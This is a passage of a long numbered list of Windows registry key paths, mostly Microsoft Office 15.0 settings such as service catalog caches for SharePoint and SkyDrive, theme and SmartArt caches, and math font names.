  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\CF6D88\\ECAEF5",
  1693. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1694. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1695. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
